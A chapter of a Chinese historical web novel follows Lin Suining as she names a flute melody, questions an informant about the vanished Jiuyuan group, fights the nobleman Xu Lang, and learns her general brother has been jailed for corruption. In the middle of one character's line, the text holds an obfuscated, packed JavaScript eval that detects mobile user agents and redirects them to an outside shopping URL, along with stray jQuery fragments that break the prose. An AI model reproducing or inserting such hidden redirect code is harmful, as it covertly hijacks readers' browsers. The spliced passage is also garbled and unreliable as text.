谢宜暄看着燕子消失在他的视线中,深深地看了她一眼,转过身欲离去。
“等等。”林绥宁叫住他,微顿了下,又道,“你方才吹的曲子不错,还没吹完呢。”
谢宜暄看向手中的竹笛,道:“想听?”
“不愿吹便罢了。”
话音方落,便听见阵阵乐音传入耳畔,似沙场之将守着空无一人的边疆,又似大雪纷飞埋葬破碎的骸骨,偏又似水流涓涓而去,途径一片枯木林。
一曲终了。
林绥宁问道:“这支曲子是何人所作?曲名为何?”
谢宜暄沉声道:“我阿娘作的,无曲名。”
“你取一个?”他看向她。
林绥宁不假思索:“咏煦。”
谢宜暄不解道:“如此怅然的曲调,你为它命名为‘煦’?”
“虽然前半部分悲伤,但末尾的曲调暗藏着希望,这样的结尾怎的不算是一种温暖?”林绥宁笑了声,“你不觉得吗?”
谢宜暄眼眸微颤,轻笑了下:“或许吧。”
“你该走了。”
谢宜暄颔首,足尖轻点,欲越墙而去。
“从府门走。”
话毕,林绥宁头也不回地走进了房舍。
屋内的烛火被吹灭。
**
“二娘子,若是被将军知晓你去了松月楼,怕是又免不了一顿痛骂了。”
林绥宁应声道:“林玉川都五日未归,显然是被军营之事给绊住了,何来的时间管我?”
“你不说,我不说,那便无人会知。”
“可是……”红因还欲说些什么,却被林绥宁堵住。
“我心中有数。”
她此去松月楼也不是为了吃酒耍乐,而是另有所图。她前阵子拜托杨西泽探查九渊,从而打听到南安城中有一位名叫万晓之人,对世间百事了如指掌,并且他曾为九渊办过事。
而此人嗜酒如命,常出没于松月楼。
她答应过崔昭意,要还她一个真正的自由,她不能食言。
所以,她打算去松月楼碰碰运气。
林绥宁走进松月楼,环视一圈,在一人面前顿住脚步,打量一番。
“你是号称‘无所不知,无所不晓’的万晓?”
那人两鬓花白,唇角残留着酒渍,左脸有一道明显的刀痕,从眼下延伸至下颚。他微眯起眼,眼尾的褶皱如同水波般掀起:“正是。”
林绥宁将沉甸甸的银两推去,道:“我有事要问你。”
万晓颠了颠钱袋,顺势攥进手中,蓦地笑出声:“这位娘子有何事相问,在下必定知无不言,言无不尽。”
见他应下要求,林绥宁冷峻的神色缓了缓,坐下身,开门见山道:“听闻你曾与九渊有过交集?”
万晓正笑嘻嘻地翻看着袋中的银两,闻言一顿。他敛起笑,捏起一枚银锭,摩挲着边缘:“娘子,为何要问九渊?”
林绥宁笑了下,却不答,只道:“你只需要回答我的问题。”
“是,我为九渊干过一些杀人的勾当。”万晓道,“给银钱办事的交易罢了,也算不得什么。”
“你可知九渊之主是何人?”
万晓摸了摸鬓边的发,漫不经心道:“没见过。不过,他已经死了。”
林绥宁心头一震,惊愕道:“死了?!”
万晓显然被她的声音吓住,眉心微拧:“是啊,十年前便死了。”
说罢,他的目光悄悄挪向左侧桌上,那里已无人,只有一壶酒立着。他咽了口唾沫,便将酒壶夺来,大口大口地灌进嘴里。
尚未饮个尽兴,手臂上便挨了重重的一击。林绥宁瞪着他:“都给了你银两,还拿别人的?”
“反正也没人要了,我若不吃岂不浪费?”万晓抹了下嘴,毫不在意。
林绥宁白了他一眼,又道:“那九渊可有后人?”
“后人?”万晓嗤笑了声,“九渊都没了,被一场大火全烧了,连渣都没剩,何来的什么后人?”
“要不是它没了,我会沦落至此?”他晃了晃酒壶,一滴都未剩便置下,“为人解惑、讲解世间之事才能换得一点银子,酒都买不起。”
林绥宁对他的抱怨置若罔闻,满脑子皆是九渊已湮灭。仿若一道巨浪猛烈地直冲向她,将她从水中冲向岸边。
令她不得不相信冒出的荒谬的念头。
她被骗了。
“哎呦。”
一声哀嚎将她的思绪拉回,只是呼吸依旧沉着。她瞥见万晓扶着腰倒在不远处的地上,清澈的酒水蔓延着向稍低处流淌,瓷器残片大片铺着。
而他的右侧站着一个身着锦袍的人,面色涨红,正对一位青年破口大骂,唾沫横飞。
“撞到本小爷不知晓要道歉吗?”他推了青年一把,一副趾高气昂的模样,“怎的?不服啊?信不信小爷让你滚出南安?”
青年揉了揉手腕:“搞清楚,是你凑上来的。”
“找打是吧!”他抡起拳头便要砸下去。
“我当是何人,原来是徐三郎啊。”林绥宁迈着步子走来。
徐琅拳头顿在半空:“林二娘子。”
“这是做什么呢?”林绥宁瞥了眼一旁的青年,却是顿住了。那人眼眸微垂,一身平常的素衣偏穿出清贵之气,面具消磨掉几分锐气,显得文弱。
是宋长离。
“我教训一个不知礼数的布衣平民,应当与二娘子无关吧?”徐琅微抬着下巴,浑身透出傲气。
“本来确与我无关,但你撞碎了我的酒。”林绥宁看向狼藉的地面,看见万晓缓缓站到了她的身侧,似是觉着她在为他撑腰。“况且,你欠我的银子还未还你。”
徐琅面色一凝,不自觉露出几分惧色,随即又消失而过,笑了起来:“真是抱歉啊,林二娘子,小爷不打算还了。”
“至于这酒。”他笑意愈浓,用指腹粘了点地上的酒水,伸向她,“要不你舔舔?”
林绥宁抬起脚便踹上他的左膝,随即擒住他的手,脚踏在他的背上,冷道:“徐三郎是许久未受些皮肉之痛,便肆无忌惮了?”
徐琅吃疼,面目狰狞起来,却不肯讨饶:“林绥宁,你还以为你高高在上,别人都要对你唯命是从吗?”
“说清楚。”林绥宁多用了几分力。
他大笑起来,狠道:“林玉川入狱了,将军府要没落了,不久之后你便只会是那个匍匐于我脚下的蝼蚁。”
仿若有一阵雷霆砸来,她呼吸一滞,猛地怔住。
一道飞影从她眼前掠过,直直地冲向徐琅的下巴。待她回过神来时,徐琅已飞出去,唇角流出殷红的血。
宋长离看向她:“与这种人废话做什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370903|199896||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
林绥宁揪住徐琅的衣领,言语中尽是焦急:“林玉川从未违反过我朝律例,为何会入狱?你说啊!”
徐琅抹了下淌出来的血,嗓音沙哑却带着笑:“贪、腐。”
“怎么会?怎么可能?”林绥宁失力跌坐在地上,尽是不可置信,口中不住喃喃,“不可能、不可能的。”
一只手轻轻搭在她的肩上,她猛地抓住,看向宋长离:“这是假的,对吗?”
宋长离垂着头,眼神闪躲。
林绥宁撇开他的手,便冲出了松月楼,期间撞到了多少个人她已记不清,只有那句“贪腐”像魔咒般在耳畔回荡,侵占掉她的所有思绪。
她好似感觉不到累,感觉不到痛,只是奋力向前跑着。心被高高地栓起,解不开、放不下。
她只知道,她要去见林玉川。
她不信他人所言,她不相信一向清明廉洁的兄长会贪污,她要自己去寻求一个答案。
耳畔的风呼啸着刮过,像是一种警示。
林绥宁在刑部牢狱门前顿住,许是过于急促,险些踉跄着摔倒。
“我要见林玉川。”
她的声音不大,但这点喊声却好似耗费掉她的所有力气。她的呼吸尚未平稳,心脏突突直跳,一下又一下,又重又快,落入她的耳畔。
侍卫却未让开,只道:“他如今是朝廷重犯,未得圣上允许任何人不得擅自见他。”
林绥宁的手心不住攥紧,紧到她整个人在发颤,只是一味重复道:“我说了,放我进去。”
“否则,我不介意闯进去。”
她抬起眸,眼神是从未有过的狠戾。
侍卫握住剑柄,警惕地望着她。
“林娘子。”
闻声,林绥宁回头。
杨西泽盯了她一会儿,微叹了口气道:“随本官来。”
带着清香的温热水汽飘在林绥宁的脸上,她看着眼前泛绿的茶水,道:“我不是来吃茶的。”
杨西泽叹息道:“我不能放你去见林将军。”
林绥宁怒吼出声:“他怎可能会干贪腐的勾当?”
“白纸黑字,证据确凿。”杨西泽敲了下桌面,猛站起身,又压低些声音,“圣上大怒,未牵连到你,牵连到整个林府就算不错的了。”
林绥宁问道:“证据?什么证据?”
“府中账册、还有家仆指认作证。”杨西泽也有些愠怒,瞪着眼看去,“眼下是人证、物证俱在,还有何辩驳的余地?”
“证据也是可以捏造的。”
空气凝滞一瞬,林绥宁凝视着他,一时间,二人都没有说话。
“你如何证明是捏造的?”杨西泽道,“就算他是被人诬陷的,也要用证据证明他的清白。你与我在此争执无用。不是我需要这个证据,也不是我给他降的罪,是圣上!”
“而我要做的,只是听命行事。”杨西泽语气稍柔了些,“你明白吗?”
林绥宁未答,只是目光一点点地暗下去。
“你不信他。”
杨西泽闭了闭眼:“眼下此种情形我信与不信已不重要了。”
林绥宁目光落在他的身上,有几分坚定,但那份坚定又显得是如此无力。
“可我信。”
她转过身,背影透露出一种决绝:“我会为他洗清罪名。”